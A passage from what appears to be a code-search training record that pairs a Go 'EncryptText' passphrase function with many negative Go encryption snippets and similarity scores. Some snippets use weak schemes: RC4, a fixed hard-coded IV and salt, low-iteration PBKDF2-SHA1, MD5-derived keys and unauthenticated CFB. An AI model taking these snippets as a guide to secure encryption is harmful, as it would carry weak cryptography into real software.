nil\n\t\t} else if t.Location().String() == \"TIME\" {\n\t\t\treturn t.Format(FORMAT_TIME), nil\n\t\t} else {\n\t\t\treturn t.Format(FORMAT_DATETIME), nil\n\t\t}\n\t}\n\treturn \"\", errors.New(fmt.Sprint(\"cannot convert to a string: \", value))\n}", "func (s ResourceIdentifier) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (p prefix) String() string {\n\tpStr := string(p)\n\tswitch pStr {\n\tcase string(SimpleStringPrefix):\n\t\treturn \"simple-string\"\n\tcase string(ErrorPrefix):\n\t\treturn \"error\"\n\tcase string(IntPrefix):\n\t\treturn \"integer\"\n\tcase string(BulkStringPrefix):\n\t\treturn \"bulk-string\"\n\tcase string(ArrayPrefix):\n\t\treturn \"array\"\n\tdefault:\n\t\treturn pStr\n\t}\n}", "func (s CreateDomainNameOutput) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (s InternalServerError) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (w *Writer) String(s string) {\n\tw.RawByte('\"')\n\tw.StringContents(s)\n\tw.RawByte('\"')\n}", "func (s RenderingEngine) String() string {\n\treturn awsutil.Prettify(s)\n}", "func String(length int) string {\n\treturn StringWithCharset(length, alphanumericCharset)\n}", "func (s RetryStrategy) String() string {\n\treturn awsutil.Prettify(s)\n}", "func (msg *Message) String() string {\n\treturn msg.Render()\n}", "func (s RegisterUsageOutput) String() string {\n\treturn awsutil.Prettify(s)\n}" ]
[ "0.785296", "0.77519125", "0.76875526", "0.7563841", "0.7521477", "0.75210935", "0.74137986", "0.7343098", "0.730117", "0.7157921", "0.71560234", "0.7147634", "0.7126233", "0.7075471", "0.70014644", "0.70014644", "0.6991334", "0.6963718", "0.694869", "0.69428533", "0.6929566", "0.6901473", "0.689105", "0.6872875", "0.6847351", "0.6843777", "0.68347967", "0.68135226", "0.6810395", "0.68093836", "0.6803575", "0.68020946", "0.6796546", "0.679217", "0.6781149", "0.67780745", "0.6776015", "0.6770642", "0.6770357", "0.6770281", "0.67452997", "0.6740768", "0.673582", "0.6731112", "0.67216235", "0.6721071", "0.6687491", "0.6676967", "0.666172", "0.66600937", "0.6657894", "0.6656026", "0.6652012", "0.66501075", "0.6645083", "0.66421735", "0.6630756", "0.6630096", "0.66262555", "0.6622332", "0.66207063", "0.66147023", "0.66143554", "0.6598601", "0.6595803", "0.65953386", "0.6593894", "0.6593203", "0.659051", "0.6588866", "0.6587837", "0.65852994", "0.6583141", "0.6582168", "0.65818906", "0.65810204", "0.6579682", "0.6577862", "0.65756726", "0.6575244", "0.65680915", "0.65665007", "0.65615517", "0.6555273", "0.6548767", "0.6545658", "0.65454984", "0.6543233", "0.65424865", "0.6540538", "0.6538998", "0.653875", "0.65332365", "0.653206", "0.6531168", "0.6527641", "0.65244645", "0.6521524", "0.65142673", "0.6509772", "0.6508459" ]
0.0
-1
EncryptText encrypts text using a literal passphrase
func (v passPhraseVault) EncryptText(text string) (string, error) { return EncryptText(text, v.passPhrase) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (v envVault) EncryptText(text string) (string, error) {\n\treturn EncryptText(text, v.passPhrase)\n}", "func (v nullVault) EncryptText(text string) (string, error) {\n\treturn text, nil\n}", "func EncryptText(c context.Context, api KMSEncryptAPI, input *kms.EncryptInput) (*kms.EncryptOutput, error) {\n\treturn api.Encrypt(c, input)\n}", "func Encrypt(text string) (string, error) {\n\tencKey := os.Getenv(\"ENC_KEY\")\n\tencIv := os.Getenv(\"ENC_IV\")\n\tkey := []byte(encKey)\n\tiv := []byte(encIv)\n\tplainText := []byte(text)\n\tplainText, err := pad(plainText, aes.BlockSize)\n\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(`plainText: \"%s\" has error`, plainText)\n\t}\n\tif len(plainText)%aes.BlockSize != 0 {\n\t\terr := fmt.Errorf(`plainText: \"%s\" has the wrong block size`, plainText)\n\t\treturn \"\", err\n\t}\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcipherText := make([]byte, len(plainText))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText, plainText)\n\n\treturn base64.StdEncoding.EncodeToString(cipherText), nil\n}", "func Encrypt(text string) (encryptedText string, err error) {\n\n\t// validate key\n\tif err = initKey(); err != nil {\n\t\treturn\n\t}\n\n\t// create cipher block from key\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tplaintext := []byte(text)\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, rErr := io.ReadFull(rand.Reader, iv); rErr != nil {\n\t\terr = fmt.Errorf(\"iv ciphertext err: %s\", rErr)\n\t\treturn\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\tencryptedText = base64.URLEncoding.EncodeToString(ciphertext)\n\n\treturn\n}", "func Encrypt(plainText []byte, nonceBase64 string, key []byte) []byte {\n\tplainBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(plainText)))\n\tbase64.StdEncoding.Encode(plainBase64, plainText)\n\n\tnonce := make([]byte, base64.StdEncoding.DecodedLen(len(nonceBase64)))\n\tbase64.StdEncoding.Decode(nonce, []byte(nonceBase64))\n\n\tnonceArray := &[nonceLen]byte{}\n\tcopy(nonceArray[:], nonce)\n\n\tencKey := &[keyLen]byte{}\n\tcopy(encKey[:], key)\n\n\tcypherText := []byte{}\n\tcypherText = secretbox.Seal(cypherText, plainText, nonceArray, encKey)\n\tcypherBase64 := make([]byte, base64.StdEncoding.EncodedLen(len(cypherText)))\n\tbase64.StdEncoding.Encode(cypherBase64, cypherText)\n\treturn cypherBase64\n}", "func (w *KeystoreWallet) SignTextWithPassphrase(passphrase string, text []byte) ([]byte, error) {\n\t// Account seems valid, request the keystore to sign\n\treturn w.Keystore.SignHashWithPassphrase(w.Account, passphrase, accounts.TextHash(text))\n}", "func encrypt(key []byte, text string) string {\n\t// key needs tp be 16, 24 or 32 bytes.\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func TestEncryptionEncryptByPassPhrase(t *testing.T) {\n\tpassPhrase := \"123\"\n\tplaintext := []byte{1, 2, 3, 4}\n\n\tciphertextStr, err := encryptByPassPhrase(passPhrase, plaintext)\n\tfmt.Println(\"ciphertextStr : \", ciphertextStr)\n\n\tassert.Equal(t, nil, err)\n\tassert.Greater(t, len(ciphertextStr), 0)\n\n\tplaintext2, err := decryptByPassPhrase(passPhrase, ciphertextStr)\n\tassert.Equal(t, plaintext, plaintext2)\n}", "func (a Aes) Encrypt(text string) (string, error) {\n\treturn a.encrypt([]byte(a.Key), text)\n}", "func Encrypt(key []byte, text string) string {\n\t// key := []byte(keyText)\n\tplaintext := []byte(text)\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(randCry.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(key string, text string) (string, error) {\n\n // decode PEM encoding to ANS.1 PKCS1 DER\n block, _ := pem.Decode([]byte(key))\n pub, err := x509.ParsePKIXPublicKey(block.Bytes)\n pubkey, _ := pub.(*rsa.PublicKey) \n\n // create the propertiess\n message := []byte(text)\n label := []byte(\"\")\n hash := sha256.New()\n\n ciphertext, err := rsa.EncryptOAEP(hash, rand.Reader, pubkey, message, label)\n return string(base64.StdEncoding.EncodeToString(ciphertext)), err\n\n}", "func Encrypt(key []byte, text []byte) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Creating IV\n\tciphertext := make([]byte, aes.BlockSize+len(text))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrpytion Process\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], text)\n\n\t// Encode to Base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encrypt(keyStr, ivStr, text string) (string, error) {\n\tkey := []byte(keyStr)\n\tiv := []byte(ivStr)\n\n\tplaintext := pad([]byte(text))\n\n\tif len(plaintext)%aes.BlockSize != 0 {\n\t\treturn \"\", errors.New(\"plaintext is not a multiple of the block size\")\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(ciphertext[aes.BlockSize:], plaintext)\n\n\treturn base64Encode(ciphertext), nil\n}", "func Encrypt(key []byte, text string) string {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tplaintext := []byte(fmt.Sprint(text))\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcipherText := make([]byte, len(plaintext))\n\tcfb.XORKeyStream(cipherText, plaintext)\n\treturn encodeBase64(cipherText)\n}", "func Encrypt(key, text []byte) ([]byte, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tb := base64.StdEncoding.EncodeToString(text)\n\tciphertext := make([]byte, aes.BlockSize+len(b))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\treturn nil, err\n\t}\n\tcfb := cipher.NewCFBEncrypter(block, iv)\n\tcfb.XORKeyStream(ciphertext[aes.BlockSize:], []byte(b))\n\treturn ciphertext, nil\n}", "func Encrypt(key []byte, text string) string {\n\tplaintext := []byte(text)\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\t// The IV needs to be unique, but not secure. Therefore it's common to\n\t// include it at the beginning of the ciphertext.\n\tciphertext := make([]byte, aes.BlockSize+len(plaintext))\n\tiv := ciphertext[:aes.BlockSize]\n\tif _, err := io.ReadFull(rand.Reader, iv); err != nil {\n\t\tpanic(err)\n\t}\n\tstream := cipher.NewCFBEncrypter(block, iv)\n\tstream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)\n\t// convert to base64\n\treturn base64.URLEncoding.EncodeToString(ciphertext)\n}", "func Encriptar(text string) string {\n\thash, err := bcrypt.GenerateFromPassword([]byte(text), bcrypt.DefaultCost)\n\tif err != nil {\n\t\tfmt.Println(\"no se pudo encriptar el text\")\n\t\treturn text\n\t}\n\treturn string(hash)\n}", "func Encrypt(plainText []byte, key []byte, iv []byte) []byte {\n\treturn getCipher(key).Seal(nil, iv, plainText, nil)\n}", "func Encrypt(passphrase string, plaintext []byte) (string, error) {\n\tnow := time.Now()\n\tkey, salt, err := deriveKey(passphrase, nil)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tutils.LogDebug(fmt.Sprintf(\"PBKDF2 key derivation took %d ms\", time.Now().Sub(now).Milliseconds()))\n\n\tiv := make([]byte, 12)\n\t// http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-38d.pdf\n\t// Section 8.2\n\t_, err = rand.Read(iv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tb, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(b)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tdata := aesgcm.Seal(nil, iv, plaintext, nil)\n\treturn hex.EncodeToString(salt) + \"-\" + hex.EncodeToString(iv) + \"-\" + hex.EncodeToString(data), nil\n}", "func encrypt(msg string) string {\n\tencryptionPassphrase := []byte(Secret)\n\tencryptionText := msg\n\tencryptionType := \"PGP SIGNATURE\"\n\n\tencbuf := bytes.NewBuffer(nil)\n\tw, err := armor.Encode(encbuf, encryptionType, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tplaintext, err := openpgp.SymmetricallyEncrypt(w, encryptionPassphrase, nil, nil)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tmessage := []byte(encryptionText)\n\t_, err = plaintext.Write(message)\n\n\tplaintext.Close()\n\tw.Close()\n\t//fmt.Printf(\"Encrypted:\\n%s\\n\", encbuf)\n\treturn encbuf.String()\n}", "func RSAEncryptText(target string, text string) string {\n\ttextBytes := []byte(text)\n\thash := utils.HASH_ALGO.New()\n\tpubKeyBytes, e := hex.DecodeString(target)\n\tutils.HandleError(e)\n\tpubKey, e := x509.ParsePKCS1PublicKey(pubKeyBytes)\n\tutils.HandleError(e)\n\tctext := \"\"\n\n\tchunkSize, e := utils.GetMaxEncodedChunkLength(pubKey)\n\tutils.HandleError(e)\n\n\tfor i := 0; i < len(textBytes); {\n\t\tj := int(math.Min(float64(len(textBytes)), float64(i+chunkSize)))\n\t\tel, e := rsa.EncryptOAEP(hash, rand.Reader, pubKey, textBytes[i:j], nil)\n\t\tutils.HandleError(e)\n\t\tctext += string(el)\n\t\ti = j\n\t}\n\treturn ctext\n}", "func (aesOpt *AESOpt) Encrypt(plainText []byte) (string, error) {\n\n\t//Create a nonce. Nonce should be from GCM\n\tnonce := make([]byte, aesOpt.aesGCM.NonceSize())\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", errors.Wrap(err, \"encryptAES.io.ReadFull\")\n\t}\n\n\t//Encrypt the data using aesGCM.Seal\n\t//Since we don't want to save the nonce somewhere else in this case, we add it as a prefix to the encrypted data. The first nonce argument in Seal is the prefix.\n\tciphertext := aesOpt.aesGCM.Seal(nonce, nonce, plainText, nil)\n\treturn fmt.Sprintf(\"%x\", ciphertext), nil\n}", "func (o *CTROracle) Encrypt(plaintext string) []byte {\n\ttemp := strings.Replace(plaintext, \"=\", \"'='\", -1)\n\tsanitized := strings.Replace(temp, \";\", \"';'\", -1)\n\ttoEncrypt := \"comment1=cooking%20MCs;userdata=\" + sanitized + \";comment2=%20like%20a%20pound%20of%20bacon\"\n\n\tctr := stream.NewCTR(o.Key, o.Nonce)\n\treturn ctr.Encrypt([]byte(toEncrypt))\n}", "func encrypt(aesKey []byte, plainText []byte, associatedData []byte) ([]byte, error) {\n\tcipher, err := subtle.NewAESGCM(aesKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to initialize cipher: %v\", err)\n\t}\n\treturn cipher.Encrypt(plainText, associatedData)\n}", "func (v *DefaultVaultClient) Encrypt(key, b64text string) (string, error) {\n\tkv := map[string]interface{}{\"plaintext\": b64text}\n\ts, err := v.Logical().Write(v.encryptEndpoint(key), kv)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif s == nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to get encryption value using encryption key %s \", key)\n\t}\n\treturn s.Data[\"ciphertext\"].(string), nil\n}", "func encrypt(key string, plaintext string) string {\n\tvar iv = []byte{83, 71, 26, 58, 54, 35, 22, 11,\n\t\t83, 71, 26, 58, 54, 35, 22, 11}\n\tderivedKey := pbkdf2.Key([]byte(key), iv, 1000, 48, sha1.New)\n\tnewiv := derivedKey[0:16]\n\tnewkey := derivedKey[16:48]\n\tplaintextBytes := pkcs7Pad([]byte(plaintext), aes.BlockSize)\n\tblock, err := aes.NewCipher(newkey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tn := aes.BlockSize - (len(plaintext) % aes.BlockSize)\n\tciphertext := make([]byte, len(plaintext)+n*2)\n\tmode := cipher.NewCBCEncrypter(block, newiv)\n\tmode.CryptBlocks(ciphertext, plaintextBytes)\n\tcipherstring := base64.StdEncoding.EncodeToString(ciphertext[:len(ciphertext)-n])\n\treturn cipherstring\n}", "func Encrypt(pt string) string {\n\tvar (\n\t\tround_keys = make([]string, 16)\n\t)\n\tgenerate_keys(key, &round_keys)\n\tfmt.Printf(\"before encrtypting - %v\\n\", pt)\n\tct := DES(pt, round_keys)\n\tfmt.Printf(\"after encrtypting - %v\\n\", ct)\n\treturn ct\n}", "func EncryptString(plainText string, key []byte, iv []byte) []byte {\n\tplainTextAsBytes := []byte(plainText)\n\treturn Encrypt(plainTextAsBytes, key, iv)\n}", "func (o *OpenSSL) EncryptString(passphrase, plaintextString string) ([]byte, error) {\n\tsalt := make([]byte, 8) // Generate an 8 byte salt\n\t_, err := io.ReadFull(rand.Reader, salt)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn o.EncryptStringWithSalt(passphrase, salt, plaintextString)\n}", "func Encrypt(plainText []byte) ([]byte, []byte, []byte, []byte, error) {\n\n\tkey, err := crypto.GenRandom(32)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tnonce, err := crypto.GenRandom(12)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText := aesgcm.Seal(nil, nonce, plainText, nil)\n\n\tsig, err := createHMAC(key, cipherText)\n\tif err != nil {\n\t\treturn nil, nil, nil, nil, err\n\t}\n\n\tcipherText = append(cipherText, nonce...)\n\n\treturn cipherText, key, sig, key, nil\n}", "func Encrypt(plaintext string) (string, error) {\n\treturn defaultEncryptor.Encrypt(plaintext)\n}", "func encryptCBC(plainText, key []byte) (cipherText []byte, err error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tplainText = pad(aes.BlockSize, plainText)\n\n\tcipherText = make([]byte, aes.BlockSize+len(plainText))\n\tiv := cipherText[:aes.BlockSize]\n\t_, err = io.ReadFull(cryptoRand.Reader, iv)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tmode := cipher.NewCBCEncrypter(block, iv)\n\tmode.CryptBlocks(cipherText[aes.BlockSize:], plainText)\n\n\treturn cipherText, nil\n}", "func Encrypt(data []byte, passphrase string) ([]byte, error) {\n\tkey := []byte(utils.SHA3hash(passphrase)[96:128]) // last 32 characters in hash\n\tblock, _ := aes.NewCipher(key)\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tlog.Println(\"Failed to initialize a new AES GCM while encrypting\", err)\n\t\treturn data, err\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tlog.Println(\"Error while reading gcm bytes\", err)\n\t\treturn data, err\n\t}\n\tlog.Println(\"RANDOM ENCRYPTION NONCE IS: \", nonce)\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext, nil\n}", "func (c *Cipher) Encrypt(plaintext string, context map[string]*string) (string, error) {\n\n\tkey, err := kms.GenerateDataKey(c.Client, c.KMSKeyID, context)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tciphertext, err := encryptBytes(key.Plaintext, []byte(plaintext))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tencrypted := &encrypted{keyCiphertext: key.Ciphertext, ciphertext: ciphertext}\n\treturn encrypted.encode(), nil\n\n}", "func EncryptThis(text string) string {\n\n\tif len(text) == 0 {\n\t\treturn text\n\t}\n\n\tstr := strings.Split(text, \" \")\n\n\tstrEncrypt := \"\"\n\n\tfor _, v := range str {\n\n\t\tstrEncrypt += fmt.Sprintf(\"%s \", encryptThis(v))\n\n\t}\n\n\treturn strings.TrimSpace(strEncrypt)\n}", "func (m *TripleDesCBC) Encrypt(key, s string) (string, error) {\n\t//set aeskey\n\terr := gocrypto.SetDesKey(gocrypto.Md5(key)[0:24])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tace, err := gocrypto.TripleDesCBCEncrypt([]byte(kpassSign + s))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn base64.StdEncoding.EncodeToString(ace), nil\n}", "func encrypt(plainData string, secret []byte) (string, error) {\r\n\tcipherBlock, err := aes.NewCipher(secret)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\taead, err := cipher.NewGCM(cipherBlock)\r\n\tif err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\tnonce := make([]byte, aead.NonceSize())\r\n\tif _, err = io.ReadFull(crt.Reader, nonce); err != nil {\r\n\t\treturn \"\", err\r\n\t}\r\n\r\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\r\n}", "func (i *GPG) Encrypt(\n\tkeys []string,\n\tb []byte,\n) ([]byte, error) {\n\treturn i.cli.Encrypt(i.ctx, b, keys)\n}", "func Encrypt(data []byte, passphrase string) []byte {\n\tblock, _ := aes.NewCipher([]byte(createHash(passphrase)))\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\tpanic(err.Error())\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext\n}", "func Encrypt(key []byte, plaintext string) (string, error) {\n\tblock, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taesgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, 12)\n\tif _, err := io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\tplaintextbytes := []byte(plaintext)\n\tcipherStr := base64.StdEncoding.EncodeToString(aesgcm.Seal(nonce, nonce, plaintextbytes, nil))\n\treturn cipherStr, nil\n}", "func encrypt(plainData string, secret []byte) (string, error) {\n\tcipherBlock, err := aes.NewCipher(secret)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\taead, err := cipher.NewGCM(cipherBlock)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tnonce := make([]byte, aead.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn base64.URLEncoding.EncodeToString(aead.Seal(nonce, nonce, []byte(plainData), nil)), nil\n}", "func encryptBytes(key []byte, plaintext []byte) ([]byte, error) {\n\t// Prepend 6 empty bytes to the plaintext so that the decryptor can verify\n\t// that decryption happened correctly.\n\tzeroes := make([]byte, numVerificationBytes)\n\tfulltext := append(zeroes, plaintext...)\n\n\t// Create the cipher and aead.\n\ttwofishCipher, err := twofish.NewCipher(key)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create twofish cipher: \" + err.Error())\n\t}\n\taead, err := cipher.NewGCM(twofishCipher)\n\tif err != nil {\n\t\treturn nil, errors.New(\"unable to create AEAD: \" + err.Error())\n\t}\n\n\t// Generate the nonce.\n\tnonce := make([]byte, aead.NonceSize())\n\t_, err = rand.Read(nonce)\n\tif err != nil {\n\t\treturn nil, errors.New(\"failed to generate entropy for nonce: \" + err.Error())\n\t}\n\n\t// Encrypt the data and return.\n\treturn aead.Seal(nonce, nonce, fulltext, nil), nil\n}", "func Encrypt(key, iv, plaintext []byte) string {\n if len(key) != 32 {\n log.Fatal(\"Key length must be 32 bytes\")\n }\n if len(iv) != 12 {\n log.Fatal(\"initialization vector must be 12 bytes\")\n }\n block, err := aes.NewCipher(key)\n if err != nil {\n log.Fatal(err)\n }\n gcm, _ := cipher.NewGCM(block)\n ciphertext := gcm.Seal(nil, iv, plaintext, nil)\n return base64.StdEncoding.EncodeToString(ciphertext)\n}", "func (e ECBEncryptionOracle) Encrypt(myString []byte) []byte {\n\treturn e.ecb.Encrypt(append(e.prepend, append(myString, e.unknownString...)...))\n}", "func encrypt(plaintext []byte) []byte {\n IV := genRandomBytes(ivLen)\n ciphertext := aead.Seal(nil, IV, plaintext, nil)\n\n return append(IV[:], ciphertext[:]...)\n}", "func SecretPhrase(w http.ResponseWriter, r *http.Request) {\n unknown := \"Um9sbGluJyBpbiBteSA1LjAKV2l0aCBteSByYWctdG9wIGRvd24gc28gbXkg\\n\" +\n \"aGFpciBjYW4gYmxvdwpUaGUgZ2lybGllcyBvbiBzdGFuZGJ5IHdhdmluZyBq\\n\" +\n \"dXN0IHRvIHNheSBoaQpEaWQgeW91IHN0b3A/IE5vLCBJIGp1c3QgZHJvdmUg\\n\" +\n \"YnkK\"\n\n\tgetVars, err := url.ParseQuery(r.URL.RawQuery)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tdata := getVars.Get(\"input\")\n\tfmt.Println(\"Input:\", data)\n decoded, _ := base64.StdEncoding.DecodeString(unknown)\n amended := append([]byte(data), decoded...)\n padded := AddPadding(amended, keysize)\n\n w.Write(ECBEncrypt(key, padded))\n}", "func Encrypt(data []byte, passphrase string) ([]byte, error) {\n\thash := createHash(passphrase)\n\tblock, err := aes.NewCipher(hash)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tgcm, err := cipher.NewGCM(block)\n\tif err != nil {\n\t\treturn []byte{}, err\n\t}\n\tnonce := make([]byte, gcm.NonceSize())\n\tif _, err = io.ReadFull(rand.Reader, nonce); err != nil {\n\t\treturn []byte{}, err\n\t}\n\tciphertext := gcm.Seal(nonce, nonce, data, nil)\n\treturn ciphertext, nil\n}", "func Encrypt(content string, salt string) string {\n\treturn fmt.Sprintf(\"%x\", pbkdf2.Key([]byte(content), []byte(salt), 4096, 16, sha1.New))\n}", "func Encrypt(pass string) (string, error) {\n\tval, err := bcrypt.GenerateFromPassword([]byte(pass), salt)\n\treturn string(val), err\n}", "func EncryptSHA256(text string) string {\n h := sha256.New()\n h.Write([]byte(text))\n s := base64.URLEncoding.EncodeToString(h.Sum(nil))\n return (s)\n}", "func (t *Thread) Encrypt(data []byte) ([]byte, error) {\n\treturn crypto.Encrypt(t.PrivKey.GetPublic(), data)\n}", "func Encrypt(plaintext, key string) (string, error) {\n\n\tvar ciphertext []byte\n\tvar err error\n\n\tciphertext, err = encrypt([]byte(plaintext), []byte(key))\n\n\treturn base64.StdEncoding.EncodeToString(ciphertext), err\n}", "func encrypt(password string) string {\n\t// Pad the password with zeroes, then take the first 8 bytes.\n\tpassword = password + \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\tpassword = password[:8]\n\n\t// Create a DES cipher using the same key as UltraVNC.\n\tblock, err := des.NewCipher(ultraVNCDESKey)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Encrypt password.\n\tencryptedPassword := make([]byte, block.BlockSize())\n\tblock.Encrypt(encryptedPassword, []byte(password))\n\n\t// Append an arbitrary byte as per UltraVNC's algorithm.\n\tencryptedPassword = append(encryptedPassword, 0)\n\n\t// Return encrypted password as a hex-encoded string.\n\treturn hex.EncodeToString(encryptedPassword)\n}", "func EncryptString(to_encrypt string, key_string string) string {\n\tkey := DecodeBase64(key_string)\n\tplaintext := []byte(to_encrypt)\n\t// create the cipher\n\tc, err := rc4.NewCipher(key)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR: there was a key size error (my_server.go: EncryptString)\")\n\t\tfmt.Println(err) \n\t}\n\t// make a empty byte array to fill\n\tciphertext := make([]byte, len(plaintext))\n\t// create the ciphertext\n\tc.XORKeyStream(ciphertext, plaintext)\n\treturn EncodeBase64(ciphertext)\n}", "func (v passPhraseVault) DecryptText(text string) (string, error) {\n\treturn DecryptText(text, v.passPhrase)\n}", "func (p *Polybius) Encipher(text string) string {\n\tchars := []rune(strings.ToUpper(text))\n\tres := \"\"\n\tfor _, char := range chars {\n\t\tres += p.encipherChar(char)\n\t}\n\treturn res\n}", "func Pass_encrypt(plain []byte, pass []byte) ([]byte, error) {\n\tvar err C.TOX_ERR_ENCRYPTION = C.TOX_ERR_ENCRYPTION_OK\n\tcipher := make([]byte, PASS_ENCRYPTION_EXTRA_LENGTH+len(plain))\n\n\tC.tox_pass_encrypt((*C.uint8_t)(&plain[0]),\n\t\tC.size_t(len(plain)),\n 